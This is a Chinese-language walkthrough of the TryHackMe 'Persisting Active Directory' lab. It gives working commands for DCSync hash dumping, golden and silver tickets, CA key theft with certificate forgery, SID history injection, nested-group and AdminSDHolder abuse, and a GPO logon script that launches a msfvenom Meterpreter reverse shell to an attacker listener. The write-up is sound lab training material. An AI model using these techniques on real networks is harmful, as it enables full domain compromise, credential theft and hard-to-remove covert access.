TryHackMe房间之Persisting Active Directory

通过凭据进行权限维持

获得了域管理员凭据后,我们就可以用特权凭据对低权限凭据进行“降维打击”

通过高权限用户凭据来实现对低权限用户的权限维持

DC同步

大型组织中,每个域只有一个域控是不够的,一般会采用多个域控来提高身份验证服务的效率

于是,如何在两个不同的办公室使用相同的凭据进行身份验证成为了一个问题

这里涉及到一个域复制的知识点

每个域控都运行着一个叫做KCC的进程,也就是知识一致性检查器(Knowledge Consistency Checker)

KCC的作用就是:AD林生成复制拓扑,并且通过RPC**(**远程过程调用)自动连接到其他域控,以此同步信息

这也就解释了之前我们在上一个Exploiting AD房间里,更改密码后需要等待几分钟才能进行身份验证,这是因为负责更改密码的域控和我们进行身份验证的域控不是同一个

复制过程称为 DC 同步。不仅仅是 DC 可以启动复制。属于 Domain Admins 组的帐户也可以出于合法目的(例如创建新的域控制器)执行此操作

如果我们有权限访问具有域复制权限的账户,我们就可以发动DC Sync攻击,从DC获取凭证

在红蓝对抗中,蓝队通常会对先特权账户进行检查,并且特权账户一般也是优先被重置的,这就意味着我们权限维持的目标应该转向这些

  1. 在多台计算机拥有本地管理员权限的凭据 通常,组织有一两个组,对几乎所有计算机都具有本地管理员权限。这些组通常分为一个用于工作站的组和一个用于服务器的组。通过收集这些组成员的凭据,我们仍然可以访问资产中的大多数计算机。
  2. 具有委派权限的服务账户 使用这些账户,我们将能够强制黄金和白银票证执行 Kerberos 委派攻击
  3. 用于特权AD服务的账户 如果我们入侵了 Exchange、Windows Server Update Services (WSUS) 或 System Center Configuration Manager (SCCM) 等特权服务的帐户,我们就可以利用 AD 利用再次获得特权立足点。

先登个域管理员账号

1
ssh za\\Administrator@thmwrk1.za.tryhackme.loc

现在尝试用Mimikatz来获取凭据

首先是执行我们自己的低权限账户的DC同步

1
lsadump::dcsync /domain:za.tryhackme.loc /user:alice.gibson

img

相当多的输出,包括我们账户当前的NTLM哈希

https://codebeautify.org/ntlm-hash-generator

可以通过这个网站来验证NTLM哈希是否准确

但我们的目标是让域控同步每个账户,并启用Mimikatz的日志记录,以便于我们离线破解密码

1
2
log alice.gibson_dcdump.txt
lsadump::dcsync /domain:za.tryhackme.loc /all

img

完成后,退出 Mimikatz 以完成转储查找的收尾工作,然后你就可以下载 <用户名>_dcdump.txt 文件了。

你可以使用 cat <用户名>_dcdump.txt | grep "SAM Username" 命令来恢复所有的用户名,使用 cat <用户名>_dcdump.txt | grep "Hash NTLM" 命令来获取所有的哈希值。

现在,我们既可以进行离线密码破解攻击以恢复明文凭据,也可以简单地使用 Mimikatz 进行哈希传递攻击

利用Ticket进行权限维持

简单回顾一下Kerberos认证流程

img

黄金票据

这一步通常意味着我们绕过了上图的1 2步骤,完成了对域控的身份验证,并且拥有特权账户的TGT

在伪造黄金票据之前,我们需要获得Krbtgt账户的密码哈希,以便于为任何用户签署TGT

需要注意的事项

  1. 在 Kerberos 流程的这一阶段进行注入时,我们无需获取目标模拟账户的密码哈希,因为这一步已被绕过。TGT 仅用于证明域控制器(DC)上的密钥分发中心(KDC)对其进行了签名。由于 TGT 由 KRBTGT 账户的哈希值签名,因此无论其内容如何,验证都会通过并被认定为有效。
  2. 关于 TGT 内容,KDC 仅会验证超过 20 分钟的用户账户信息。这意味着我们可以在 TGT 中植入已禁用、已删除或不存在的账户,只要确保时间戳不超过 20 分钟即可生效。
  3. 由于票据策略直接嵌入在 TGT 中,我们可以覆盖 KDC 预设的参数(例如票据有效期为 10 小时)。通过修改时间戳,我们甚至能将 TGT 的有效期延长至 10 年,实现持久化访问。
  4. 默认情况下,KRBTGT 账户的密码永不更改。一旦获取该哈希值,除非手动轮换,我们可以持续生成有效 TGT 以维持长期访问权限。
  5. 蓝队必须对 KRBTGT 密码进行两次轮换,因为账户会同时保留当前和前一个密码。这种设计旨在防止意外密码轮换导致服务中断
  6. 轮换 KRBTGT 密码对蓝队而言是极其痛苦的过程,因为这会导致大量服务停止运行。某些服务仍持有看似有效的 TGT(时间戳未过期),但实际上已失效。由于缺乏自动检测机制,这些服务无法主动请求新 TGT。
  7. 黄金票据甚至可以绕过智能卡认证,因为智能卡验证发生在 DC 生成 TGT 之前。我们可以在任何设备(包括未加入域的攻击主机)生成黄金票据,极大增加了蓝队的检测难度。

除了 KRBTGT 帐户的密码哈希之外,我们只需要要模拟的人员的域名、域 SID 和用户 ID。如果我们能够恢复 KRBTGT 帐户的密码哈希值,那么我们已经可以恢复其他所需信息

下面简单做个金票

由于在之前的DC同步中已经拿到了krbtgt的哈希,现在我们只需要找Domain SID就好了

切换到我们非特权用户

1
ssh za\\alice.gibson@thmwrk1.za.tryhackme.loc

用AD-RSAT cmdlet来恢复命令

1
Get-ADDomain

img

然后打开我们的mimikatz

运行指令

1
kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
  • /admin - 我们要模拟的用户名。这不必是有效用户。
  • /domain - 我们要为其生成票证的域的 FQDN。
  • /id - 用户 RID。默认情况下,Mimikatz 使用 RID 500,这是默认的管理员账户 RID。
  • /sid — 要为其生成票证的域的 SID。
  • /krbtgt - KRBTGT 帐户的 NTLM 哈希。
  • /endin - 票证生命周期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 10 小时(600 分钟)
  • /renewmax - 续订后的最长票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 7 天(10080 分钟)
  • /ptt - 此标志指示 Mimikatz 将票证直接注入会话中,这意味着它已准备好使用。

成功后如图

img

可以尝试通过对域控制器运行 dir 命令来验证黄金票证是否正常工作

这是在模拟高权限用户访问域控的敏感文件,以此验证黄金票据是否生效

1
dir \\thmdc.za.tryhackme.loc\c$\

img

白银票据

白银票据是伪造的服务票据(TGS tickets)。现在,我们跳过与域控制器上 KDC 的所有通信(如上图步骤 1-4),直接与目标服务进行交互。

关于白银票据的一些关键特性:

  1. 生成的服务票据(TGS)由目标主机的机器账户签名
  2. 黄金票据与白银票据的核心区别在于权限范围: 黄金票据:通过 KRBTGT 账户哈希,可获取域内所有资源的访问权限 白银票据:仅利用目标服务器的机器账户哈希,权限局限于该服务器本身
  3. 由于TGS是我们伪造出来的,所以没有关联的TGT,也就意味着我们不与DC交互,攻击行为更隐蔽
  4. 因为权限是通过SID确定的,所以我们可以用银票创建不存在的用户,只要保证包含特定安全标识符(如本地管理员组 SID)
  5. 计算机账户密码通常三十天轮换一次,不过我们可以利用TGS提供的访问权限来访问主机注册表,更改负责计算机账户密码轮换的参数,从而确保机器账户保持静态,以此维权
  6. 虽然我们只能访问单个主机,但是计算机账户可以用作普通AD账户,可以对AD进行进一步的枚举和利用

Mimikatz制作白银票据

1
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
  • /target - 目标服务器的主机名。此处使用 THMSERVER1.za.tryhackme.loc,但也可以是任何加入域的主机(domain-joined host)。
  • /rc4 - 目标机器账户的 NTLM 哈希值。需通过域控制器同步(DC Sync)结果查找 THMSERVER1$ 的 NTLM 哈希($ 符号表示该账户为机器账户)。
  • /service - 请求的服务类型。** 通用互联网文件系统(CIFS)** 是稳妥的选择,因为它支持文件访问功能。

流程差不多,不做演示

利用证书进行权限维持

从当前阶段开始讨论的技术具有极强的侵入性且难以清除。即使您在红队演习中获得使用这些技术的授权,执行时也必须极度谨慎。在真实场景中,大多数此类技术的利用将导致整个域的重建。请务必充分了解使用这些技术的后果,并仅在评估前获得批准且被认定为必要时才实施。

在多数情况下,红队演习会在此阶段终止而非继续使用这些技术。这意味着您更可能不会实际执行这些持久化操作,而是通过模拟的方式演示其影响。

如果我们窃取了root CA证书的私钥,即可随时生成我们自己的证书,而由于这些证书不是CA颁发的,蓝队无法对其进行撤销操作,这意味着他们需要轮换整个CA,也就是把所有已签发的证书撤销,才能把我们踢出去

那很坏了!

窃取私钥

CA 的私钥存储在 CA 服务器本地。如果私钥未通过硬件安全模块(HSM)等硬件级保护方式(许多仅将 Active Directory 证书服务(AD CS)用于内部用途的组织通常如此)进行保护,它将由机器的数据保护 API(DPAPI)进行加密。这意味着我们可以使用 Mimikatz 和 SharpDPAPI 等工具从 CA 服务器提取证书及私钥。

用上管理员账户开个目录,加载Mimikatz

img

看看是否能查看存储在DC上的证书

1
crypto::certificates /systemstore:local_machine

img

注意到

img

一些证书被设置为不允许我们导出密钥,但是我们生成新证书是需要这些私钥的,刚好Mimikatz允许我们对内存进行修补,以导出这些密钥

1
2
3
4
5
6
7
8
9
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

mimikatz # crypto::cng
"KeyIso" service patched

img

修复这些服务之后,我们就可以用mimikatz导出证书了

导出的证书将以 PFX 和 DER 格式存储到磁盘

1
crypto::certificates /systemstore:local_machine /export

img

查看一下

img

后缀为pfx的证书是我们所需要的,想要导出私钥,必须用密码对证书进行加密,而在默认情况下Mimikatz导出的证书密码为mimikatz

生成证书

有了私钥和root CA证书,我们就可以使用SpectorOps ForgeCert 工具为我们想要的任何用户伪造客户端身份验证证书

1
C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath local_machine_My_0_.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath deCOLEme.pfx --NewCertPassword deCOLEd

参数说明:

  • CaCertPath - 我们导出的证书颁发机构(CA)证书的路径
  • CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 设置的密码为 “mimikatz”
  • Subject - 证书的主题或公用名称。就我们使用该证书的目的而言,这实际上并不太重要
  • SubjectAltName - 这是我们想要使用此证书来模拟的账户的用户主体名称(UPN)。该用户必须是合法用户
  • NewCertPath - ForgeCert 将存储所生成证书的路径
  • NewCertPassword - 由于出于身份验证目的,证书需要导出私钥,因此我们必须设置一个用于加密它的新密码

可以看到生成了一个证书

img

接着可以用Rubeus尝试请求TGT,以此验证证书是否受信任

1
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:deCOLEme.pfx /password:deCOLEd /outfile:deCOLEddd /domain:za.tryhackme.loc /dc:10.200.62.101

参数说明:

  • **/user:**指定了我们将模拟的用户,并且该用户必须与我们生成的证书的用户主体名称(UPN)相匹配
  • **/enctype:**这指定了票据的加密类型。设置此选项对于规避检测很重要,因为默认的加密算法较弱,这可能会导致出现 “传递哈希” 警报
  • **/certificate:**我们已生成的证书的路径。
  • **/password:**我们证书文件的密码
  • **/outfile:**我们的票据授予票据(TGT)将输出到的文件
  • **/domain:**我们当前正在攻击的域的完全限定域名(FQDN)
  • **/dc:**我们向其请求票据授予票据(TGT)的域控制器的 IP 地址。通常,最好选择一个运行证书颁发机构(CA)服务的域控制器

申请到TGT就可以用mimikatz加载了,不做演示

利用SID历史记录进行权限维持

SID(安全标识符)用于在连接资源时跟踪安全主体以及账户的访问权限

此外,账户上还有一个属性,叫做SID历史记录。SID历史记录的用处是:允许将一个账户的访问权限有效地克隆到另一个账户上,这一个功能在AD迁移的时候很有帮助,这是因为它允许用户在迁移到新的域时保留对原始域的访问权限。在新的域中,用户将拥有新的SID,但我们能在SID历史记录中添加用户的现有SID,以此实现使用新账户访问以前域中的资源

与之而来的问题是:SID历史记录不局限于仅仅包含来自其他域的安全标识符

只要有适当的权限,我们就能将当前域的一个安全标识符添加到我们控制的某个账户的SID历史记录中,以此实现权限维持

需要注意的事:

  1. 我们需要域管理员或者同等权限才能进行这种攻击
  2. 当账户创建登录事件的时候,与该账户相关的SID将被添加到用户的令牌中,然后以此确定与该账户相关联的权限,这包含组SID
  3. 如果我们注入 Enterprise Admin SID,我们还可以更进一步提升账户权限,成为林中所有域的域管理员
  4. 因为SID被添加到用户的令牌中,所以即使该账户实际上并不是组的成员,也会拥有对应的权限。这就意味着我们的账户可以知识一个普通用户账户,其成员身份仅为Domain Users组的成员,我们也可以通过使用这个账户更改另一个账户的SID历史记录,从而神鬼不觉地提权和维权

伪造SID历史记录

在伪造SID历史记录前,我们先获取相关信息,确保我们的低权限用户没有任何SID历史记录信息

1
Get-ADUser <your ad username> -properties sidhistory,memberof

img

可以看到我们的SIDHistory是空的

接下来获取域管理员组 Domain Admins的ID

1
Get-ADGroup "Domain Admins"

img

我们可以使用像 Mimikatz 这样的东西来添加 SID 历史记录。

但是,最新版本的 Mimikatz 存在一个缺陷,不允许它修补 LSASS 以更新 SID 历史记录。

因此,我们需要使用其他东西。在这种情况下,我们将使用 DSInternals 工具直接修补 ntds.dit 文件,即存储所有信息的 AD 数据库

1
2
3
PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force 
PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit
PS C:\Users\Administrator.ZA>Start-Service -Name ntds

当 NTDS 服务运行时,NTDS 数据库将被锁定。为了修补我们的 SID 历史记录,我们必须首先停止该服务。 修补后必须重新启动 NTDS 服务,否则,整个网络的身份验证将不再有效。

下面这些部分由于都不涉及自己实操,就粘上来看看得了

通过组成员身份进行权限维持

如任务 1 中所述,最高权限的帐户或组并不总是用于持久性的最佳选择。与其他组相比,特权组受到更密切的监控。任何被归类为受保护组的组(例如域管理员或企业管理员)都会受到额外的安全审查。因此,如果我们想通过组成员身份保持持久性,我们可能需要在将自己的帐户添加到的组中发挥创意:

  • IT 支持组可用于获取特权,例如强制更改用户密码。尽管在大多数情况下,我们无法重置特权用户的密码,但即使拥有重置低特权用户的能力,我们也可以将其传播到工作站。
  • 提供本地管理员权限的组通常不像受保护的组那样受到严密监控。通过网络支持组的组成员身份获得正确主机的本地管理员权限,我们可能具有良好的持久性,可用于再次入侵域。
  • 这并不总是与直接特权有关。有时,拥有间接特权(例如对组策略对象 (GPO) 的所有权)的组也可以很好地实现持久性。

嵌套组

在大多数组织中,有大量的递归组。递归组是另一个组的成员。我们可以将其视为组嵌套。组嵌套用于在AD中创建更有条理的结构。以 IT 支持组为例。IT 支持非常通用。因此,该组下可能有诸如帮助台、门禁卡管理员和网络管理员之类的子组。我们可以将所有这些组作为成员添加到 IT 支持组,这将为这些子组中的所有用户提供与 IT 支持组相关的权限和特权,但我们可以为每个子组分配更细粒度的权限和特权。

虽然组嵌套有助于组织AD,但它确实降低了有效访问的可见性。再次以我们的 IT 支持示例为例。如果我们查询AD以获取 IT 支持组的成员资格,它将以 3 的计数响应。但是,由于它是三个组,因此这个计数并不真实。为了了解有效访问,我们现在还必须枚举这些子组。但这些子组也可以有子组。所以问题变成了:“我们应该枚举多少层才能获得真正的有效访问数量?”

这也成为一个监控问题。例如,假设我们有一个警报,当新成员添加到域管理员组时会触发。这是一个很好的警报,但如果用户被添加到域管理员组中的子组,它就不会触发。这是一个非常常见的问题,因为AD由AD团队管理,而警报和监控由 InfoSec 团队管理。我们所需要的只是一点点沟通不畅,而且由于使用了子组,警报不再有效。

作为攻击者,我们可以利用这种降低的可见性来实现持久性。我们不会将目标锁定在那些可以为我们提供环境访问权限的特权组上,而是将注意力集中在子组上。我们不会将自己添加到会引发警报的特权组中,而是将自己添加到不受监控的子组中。

嵌套持久性

让我们模拟这种类型的持久性。为了允许其他用户也执行该技术,请确保将您的用户名添加到您创建的所有组前面。为了模拟持久性,我们将创建一些我们自己的组。让我们首先创建一个新的基础组,我们将隐藏在 People->IT 组织单位 ( OU ) 中:

终端

1
PS C:\Users\Administrator.ZA>New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security

现在让我们在 People->Sales OU中创建另一个组,并将我们之前的组添加为成员:

终端

1
2
PS C:\Users\Administrator.ZA>New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security 
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"

我们可以再重复几次,每次都将前一个组添加为成员:

终端

1
2
3
4
5
6
PS C:\Users\Administrator.ZA> New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup3" -Members "<username>_nestgroup2"
PS C:\Users\Administrator.ZA> New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 4" -SamAccountName "<username>_nestgroup4" -DisplayName "<username> Nest Group 4" -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup4" -Members "<username>_nestgroup3"
PS C:\Users\Administrator.ZA> New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 5" -SamAccountName "<username>_nestgroup5" -DisplayName "<username> Nest Group 5" -GroupScope Global -GroupCategory Security
PS C:\Users\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup5" -Members "<username>_nestgroup4"

对于最后一组,现在让我们将该组添加到域管理员组:

终端

1
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"

最后,让我们将低权限的AD用户添加到我们创建的第一个组中:

终端

1
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"

现在,您的低权限用户应该可以访问 THMDC 了。让我们使用THMWRK1 上的SSH终端来验证这一点:

终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\thmdc.za.tryhackme.loc\c
$\
Volume in drive \\thmdc.za.tryhackme.loc\c$
is Windows
Volume Serial Number is 1634-22A9
Directory of \\thmdc.za.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
05/01/2022 09:11 AM 169 dns_entries.csv
09/15/2018 08:19 AM <DIR> PerfLogs
05/11/2022 10:32 AM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
05/01/2022 09:17 AM 1,725 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
05/15/2022 09:16 PM <DIR> Tools
04/27/2022 08:22 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
3 File(s) 1,997 bytes
8 Dir(s) 51,573,755,904 bytes free

我们还要验证一下,尽管我们创建了多个组,但域管理员组只有一名新成员:

终端

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\Administrator.ZA> Get-ADGroupMember -Identity "Domain Admins"
distinguishedName : CN=Administrator,CN=Users,DC=za,DC=tryhackme,DC=loc
name : Administrator
objectClass : user
objectGUID : 0bbd7980-b53b-4634-8a28-57e4234655c2
SamAccountName : Administrator
SID : S-1-5-21-3885271727-2693558621-2658995185-500
distinguishedName : CN=Am0 Net Group 5,OU=IT,OU=People,DC=za,DC=tryhackme,DC=loc
name : Am0 Net Group 5
objectClass : group
objectGUID : ba545574-6af9-4a3d-a8df-24ab582fc04c
SamAccountName : am0_nestgroup5
SID : S-1-5-21-3885271727-2693558621-2658995185-6163

通过ACL进行权限维持

通过AD组模板持久保存

虽然我们可以将我们控制的帐户添加到我们能找到的每个特权组中,但蓝队仍然能够执行清理并删除我们的成员资格。为了确保更好的持久性并让蓝队感到困惑,我们应该注入生成默认组的模板。通过注入这些模板,即使他们删除了我们的成员资格,我们只需等到模板刷新,我们就会再次获得成员资格。

其中一个模板是 AdminSDHolder容器。此 容器存在于每个AD域中,其访问控制列表 ( ACL ) 用作模板,将权限复制到所有受保护组。受保护组包括域管理员、管理员、企业管理员和架构管理员等特权组。如果您正在寻找组的完整列表,可以在此处找到它们。

一个名为 SDProp 的进程每 60 分钟获取AdminSDHolder容器的ACL并将其应用于所有受保护组。因此,我们可以编写一个 ACE,授予我们对所有受保护组的完整权限。如果蓝队不知道正在使用这种类型的持久性,那将非常令人沮丧。每次他们删除受保护对象或组的不适当权限时,该权限都会在一小时内重新出现。由于此重建是通过正常的AD流程进行的,因此它也不会向蓝队显示任何警报,这使得更难确定持久性的来源。

使用 AdminSDHolder 进行持久化

为了将持久性部署到 AdminSDHolder,我们将使用 Microsoft 管理控制台 (MMC)。为了避免将用户踢出他们的RDP会话,最好使用低权限凭据通过RDP进入 THMWRK1,使用 runas 命令注入管理员凭据,然后从这个新终端执行 MMC:

1
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe

打开 MMC 窗口后,添加用户和组管理单元(文件->添加管理单元->Active Directory 用户和计算机)。 确保启用高级功能(查看->高级功能)。我们可以在域->系统下找到 AdminSDHolder 组:

img

导航到组的安全性(右键单击->属性->安全):

img

让我们添加低权限用户并授予完全控制权:

  1. 单击**“添加”**。
  2. 搜索您的低权限用户名并单击**“检查名称”**。
  3. 单击**“确定”**。
  4. 单击**“完全控制”上的“允许”**。
  5. 单击**“应用”**。
  6. 单击**“确定”**。

它看起来应该是这样的:

img

可持续发展政策

现在我们只需等待 60 分钟,我们的用户将拥有对所有受保护组的完全控制权。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组。但是,由于我们不喜欢等待,让我们使用 Powershell 手动启动该过程。在C:\Tools\目录中,提供了一个脚本Invoke-ADSDPropagation

终端

1
2
PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1 
PS C:\Tools> Invoke-ADSDPropagation

完成后,请花一点时间,然后检查受保护组(例如域管理员组)的安全权限(您可以使用搜索命令来找到该组):

img

可以看出,我们的低权限用户对该组具有完全控制权。您可以通过从安全权限中删除您的用户并重新运行PowerShell脚本来验证这是否会继续传播。您的用户将被再次添加。有趣的是,虽然我们有权修改该组,但它不会自动将我们添加到该组中:

但是,使用我们的新权限,我们可以将自己添加到该组中:

img

通过GPO进行权限维持

域范围持久性

以下是一些常见的GPO 持久性技术:

  • 受限组成员资格-这可以允许我们对域中的所有主机进行管理访问
  • 登录脚本部署 - 这将确保每次用户向域中的主机进行身份验证时,我们都会收到 shell 回调。

有许多不同的钩子可以部署。你可以尝试使用 GPO 来了解其他钩子。由于我们已经在利用AD空间中使用了第一个钩子“受限组成员身份”。现在让我们关注第二个钩子。虽然可以访问所有主机很不错,但如果确保我们在管理员积极处理它们时可以访问它们,那就更好了。为此,我们将创建一个链接到管理员OU 的GPO,这将允许我们在每次管理员之一向主机进行身份验证时获取主机上的 shell。

在创建GPO之前,我们首先需要创建 shell、监听器以及将执行 shell 的实际 bat 文件。让我们首先生成一个可以使用的基本可执行 shell:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe

确保将您的用户名添加到二进制名称中,以避免覆盖其他用户的 shell。Windows 允许我们通过登录 GPO 执行批处理或 PowerShell 脚本。批处理脚本通常比 PowerShell 脚本更稳定,因此让我们创建一个将可执行文件复制到主机并在用户验证后执行的脚本。<username>_script.bat在 AttackBox 上创建以下脚本:

1
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe

您将看到该脚本执行了三个用 连接在一起的命令&&。该脚本会将二进制文件从 SYSVOL 目录复制到本地计算机,然后等待 20 秒,最后执行二进制文件。

我们可以使用 SCP 和管理员凭据将两个脚本复制到 SYSVOL 目录:

终端

1
2
$thm scp am0_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
$thm scp am0_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

最后,让我们启动 MSF 监听器:

1
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/``meterpreter``/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"

现在我们的准备工作已经完成,我们终于可以创建将执行它的GPO了。您需要通过RDP进入 THMWRK1,并使用以管理员身份运行的运行方式窗口执行后续步骤。

GPO创建

第一步使用我们的域管理员帐户打开组策略管理单元:

  1. 在 runas-spawned 终端中,输入 MMC 并按回车键。
  2. 单击文件->添加/删除管理单元…
  3. 选择组策略管理管理单元并单击添加
  4. 单击**“确定”**

您应该能够看到GPO管理器:

虽然从技术上讲,我们可以将内容写入默认域策略,该策略应该传播到所有AD对象,但我们将采取更狭隘的方法来完成任务,只是为了展示该过程。之后您可以尝试将更改应用于整个域。

我们将编写一个适用于所有管理员的GPO ,因此右键单击管理员OU,然后选择在此域中创建GPO,然后在此处链接。为您的GPO命名,例如username - persisting GPO

右键单击您的策略并选择强制执行。这将确保您的策略适用,即使存在冲突的策略。这有助于确保我们的GPO优先,即使蓝队编写了将删除我们更改的策略。现在您可以右键单击您的策略并选择编辑:

img

让我们回到组策略管理编辑器:

  1. 在用户配置下,展开策略->Windows 设置
  2. 选择脚本(登录/注销)
  3. 右键单击**“登录”->“属性”**
  4. 选择**“脚本”**选项卡。
  5. 单击添加->浏览

让我们导航到存储批处理和二进制文件的位置:

img

选择批处理文件作为脚本,然后单击**“打开”“确定”。单击“应用”“确定”**。这将确保每次管理员(第 2、1 和 0 层)登录任何机器时,我们都会收到回调。

为了模拟这种情况,让我们重置其中一个第 1 层管理员帐户的密码并向服务器进行身份验证。使用您在之前的AD室中学到的任何技术来重置其中一个第 1 层管理员的密码。完成后,请记住启动您的 MSF 多处理程序,然后让我们通过 RDPing 进入 THMSERVER1 或 THMSERVER2 进行测试!

使用您的第 1 层管理员凭据,通过RDP进入其中一台服务器。如果您再等一分钟,您应该会在多处理器上收到回调:

终端

1
2
3
4
5
6
msf5 exploit(multi/handler) > run 
Started reverse TCP handler on 172.31.16.251:4445
[*] Sending stage (176195 bytes) to 172.31.1.201
[*] Meterpreter session 1 opened (172.31.16.251:4445 -> 172.31.1.201:63695) at 2022-05-07 10:06:28 +0100

meterpreter >

注意:您需要创建一个登录事件以供GPO执行。如果您刚刚关闭了RDP会话,则只会执行断开连接,这意味着它不会触发GPO。确保选择导航以退出(如下所示)以终止会话。这将确保在您重新进行身份验证时生成登录事件:

img

隐藏在显眼的地方

现在我们知道我们的持久性正在发挥作用,现在是时候确保蓝队不能简单地删除我们的持久性了。返回到您的 MMC 窗口,单击您的策略,然后单击委派:

img

默认情况下,所有管理员都具有编辑 GPO 的能力。让我们删除这些权限:

  1. 右键单击企业域控制器并选择编辑设置、删除、修改安全性
  2. 单击所有其他组(经过身份验证的用户除外),然后单击**“删除”**。

你应该留下如下的代表团:

单击“高级”并从权限中删除创建的所有者:

img

默认情况下,所有经过身份验证的用户都必须具有读取策略的能力。这是必需的,因为否则,当用户通过身份验证应用用户策略时,用户的帐户将无法读取策略。如果我们没有登录脚本,我们也可以删除此权限,以确保几乎没有人能够读取我们的策略。

我们可以用域计算机替换经过身份验证的用户,以确保计算机仍然可以读取和应用策略,但阻止任何用户读取策略。让我们这样做进行测试,但请记住,这可能会导致您在身份验证时无法获得 shell 回调,因为用户将无法读取PowerShell脚本,因此请确保在执行这些步骤之前测试您的 shell。这之后就没有回头路了:

  1. 单击**“添加”**。
  2. 键入域计算机,单击检查名称,然后单击确定
  3. 选择读取权限并单击确定
  4. 单击**“经过身份验证的用户”,然后单击“删除”**。

执行完这些步骤后,您将收到一条错误消息,提示您无法再读取您自己的策略:

img

您还可以在侧边栏看到我们无法再阅读此政策:

img

通过执行这些步骤,我们可以确保即使拥有最高级别的权限,蓝队也无法删除我们的GPO,除非他们模拟域控制器的机器帐户。这使得首次发现它变得格外困难,即使他们发现了GPO,删除它也非常困难。我们甚至不再具有与我们的策略交互所需的权限,因此必须一直待在那里直到执行网络重置。您可以通过 RDPing 进入其中一个 THMSERVERS 来验证GPO是否仍在应用。